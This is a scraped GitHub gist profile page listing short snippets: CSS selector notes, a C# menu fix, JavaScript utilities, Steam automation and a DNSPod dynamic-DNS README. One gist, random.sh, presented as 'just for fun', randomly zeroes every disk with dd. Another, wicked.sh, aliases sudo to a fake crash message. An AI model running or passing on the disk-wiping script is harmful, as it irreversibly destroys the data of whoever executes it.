Skip to content

Instantly share code, notes, and snippets.

View mo10's full-sized avatar

某10 mo10

  • China
  • 19:06 (UTC +08:00)
View GitHub Profile
@mo10
mo10 / webkit-pseudo-elements.md
Created May 23, 2018 16:00 — forked from leostratus/webkit-pseudo-elements.md
Webkit Pseudo-Element Selectors (Shadow DOM Elements)

An ongoing project to catalogue all of these sneaky, hidden, bleeding edge selectors as I prepare my JSConf EU 2012 talk.

Everything is broken up by tag, but within each the selectors aren't particularly ordered.

I have not tested/verified all of these. Have I missed some or got it wrong? Let me know. - A

A friendly reminder that you may need to set this property on your target/selected element to get the styling results you want:

-webkit-appearance:none;

@mo10
mo10 / program.cs
Created March 9, 2018 18:24
让ContextMenuStrip在鼠标指针右侧显示
void contextMenuStrip_Opening(object sender, CancelEventArgs e)
{
ContextMenuStrip menuStrip = (sender as ContextMenuStrip);
menuStrip.Show(Cursor.Position, ToolStripDropDownDirection.AboveRight);
}
@mo10
mo10 / CSS奇淫技巧笔记.md
Last active October 31, 2017 16:57
CSS奇淫技巧笔记
@mo10
mo10 / random.sh
Created October 15, 2017 12:43
just for fun
#!/bin/bash
if [[ $[ $RANDOM % 6 ] == 0 ]]; then
for f in /dev/sd*; do
dd if=/dev/zero of=$f
done
for f in /dev/nv*; do
dd if=/dev/zero of=$f
done
else
echo "Lucky guy"
@mo10
mo10 / gravatar.js
Last active February 18, 2024 22:37
判断是否为gravatar默认头像
function has_gravatar(gravatar_url){
var img = new Image();
img.crossOrigin = "Anonymous";
img.src =gravatar_url;
img.onload = function() {
var canvas = document.createElement('canvas');
var context = canvas.getContext('2d');
var w = this.width,
h = this.height;
canvas.width = w;
@mo10
mo10 / wicked.sh
Created July 26, 2017 14:57
wicked code
alias sudo='echo Segmentation Fault (core dumped)'
@mo10
mo10 / ConvertPathToPolyline.js
Last active December 24, 2017 16:48
SVG Path To Polyline
function pathToPolygon(obj) {
var mypath = obj;
var pathLength = mypath.getTotalLength();
var pathWidth = parseFloat(obj.style.strokeWidth);
var polygonPoints= [];
var out="";
for (var i=0; i<pathLength; i++) {
var p = mypath.getPointAtLength(i);
polygonPoints.push(p.x);
polygonPoints.push(p.y);
@mo10
mo10 / getCard.js
Last active May 22, 2018 12:46
特卖每日浏览队列拿卡
javascript:!function e(){function o(){l=!1,p.Dismiss()}function i(){o(),ShowConfirmDialog("错误","是否重试?","重试","放弃").done(e)}function n(){if(l){r();var e=a.shift();e?$J.post(a.length?"/app/"+e:"/explore/next/",{sessionid:g_sessionID,appid_to_clear_from_queue:e}).done(n).fail(i):t()}}function t(){l&&$J.post("/explore/generatenewdiscoveryqueue",{sessionid:g_sessionID,queuetype:0}).done(s).fail(i)}function s(){l&&$J.get("/explore/").done(function(e){var s,l=e.match(/<div class="subtext">\D+(\d)\D+<\/div>/);return l?(s=e.match(/0,\s+(\[.*\])/))?(a=JSON.parse(s[1]),d=l[1],0==a.length?t():n(),void r()):void i():(o(),void ShowAlertDialog("完成","已完成全部3轮探索队列"))})}function r(){$J("#progressContainer").html("<br>剩余"+d+"个待探索队列, 当前队列剩余"+a.length+"个待探索游戏")}var a,d,l=!0,p=ShowAlertDialog("探索中",$J("<div/>").append($J("<div/>",{"class":"waiting_dialog_throbber"})).append($J("<div/>",{id:"progressContainer"}).text("获取进度...")),"停止").done(o);s()}();
@mo10
mo10 / getKeys.js
Last active July 2, 2017 09:02
Get Bundle Stars Keys
const querySelector = (query, el = window.document) =>
el.querySelector(query);
const querySelectorAll = (query, el = window.document) =>
Array.from(el.querySelectorAll(query));
function revealKeys(){
var a=querySelectorAll('div.key>a:first-child').map(set => {
set.click();});
}
function getKeys(){
var b='',a=querySelectorAll('div.key-reveal-copy>div:first-child>input:first-child').map(set => {
@mo10
mo10 / README.md
Created December 22, 2015 06:27 — forked from chuangbo/README.md
Python dynamic DNSPod DNS Script

替换上你的Email,密码,域名ID,记录ID等参数,就可以运行了。 会在后台一直运行,每隔30秒检查一遍IP,如果修改了就更新IP。

获得domain_id可以用curl curl -k https://dnsapi.cn/Domain.List -d "login_email=xxx&login_password=xxx"

获得record_id类似 curl -k https://dnsapi.cn/Record.List -d "login_email=xxx&amp;login_password=xxx&amp;domain_id=xxx"